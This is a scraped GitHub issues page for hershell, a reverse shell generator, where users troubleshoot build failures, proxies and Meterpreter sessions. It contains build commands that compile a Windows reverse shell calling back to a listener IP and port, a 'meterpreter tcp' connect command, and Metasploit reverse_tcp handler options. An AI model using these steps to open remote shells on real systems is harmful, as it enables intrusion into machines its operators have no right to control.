lesnuages / hershell Goto Github PK
View Code? Open in Web Editor NEWMultiplatform reverse shell generator
License: BSD 3-Clause "New" or "Revised" License
Multiplatform reverse shell generator
License: BSD 3-Clause "New" or "Revised" License
hello I would like to know how to reset the following error:
root@kali:~/hershell# make windows64 LHOST=192.168.1.9 LPORT=7766
GOOS=windows GOARCH=amd64 go build --ldflags "-s -w -X main.connectString=192.168.1.9:7766 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go
hershell.go:13:2: cannot find package "github.com/lesnuages/hershell/meterpreter" in any of:
/usr/lib/go-1.14/src/github.com/lesnuages/hershell/meterpreter (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/meterpreter (from $GOPATH)
hershell.go:14:2: cannot find package "github.com/lesnuages/hershell/shell" in any of:
/usr/lib/go-1.14/src/github.com/lesnuages/hershell/shell (from $GOROOT)
/root/go/src/github.com/lesnuages/hershell/shell (from $GOPATH)
make: *** [Makefile:29: windows64] Error 1**
Tanks.
Hi,
I'm trying to generate a windows payload but not working:
1- I install the latest version of go rm -rf /usr/local/go && tar -C /usr/local -xzf go1.21.3.linux-amd64.tar.gz
2- Add /usr/local/go/bin to the PATH
3- I did clone the repo inside /usr/local/go/bin/src/github.com/sysdream (as the go get is not used anymore with then new version)
4- $ sudo make depends --> to generate ssl is done
5. $ sudo make windows64 LHOST=192.168.30.48 LPORT=1234 --> NOT WORKING
any idea what could be a problem?
Just wanted to let you know, the reverse_tcp meterpreter's just die right after the connection is made. HTTPS works just fine, just not the tcp O_o;
hi,
how can i make hershell connect through private proxy please
I'm receiving the same error/issue as seen here using the latest release: sysdream/hershell#2
No server certificate CA names sent
CIPHER is ECDHE-RSA-AES128-GCM-SHA256
Secure Renegotiation IS supported
[hershell]> meterpreter tcp 192.168.71.120:8080
[hershell]> ERROR
shutting down SSL
CONNECTION CLOSED
Module advanced options (exploit/multi/handler):
Name Current Setting Required Description
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExitOnSession false yes Return from the exploit after a session has been created
ListenerTimeout 0 no The maximum number of seconds to wait for new sessions
VERBOSE true no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay when waiting for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
AutoLoadStdapi false yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo false yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySession false yes Automatically verify and drop invalid sessions
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert server.pem no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE true no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.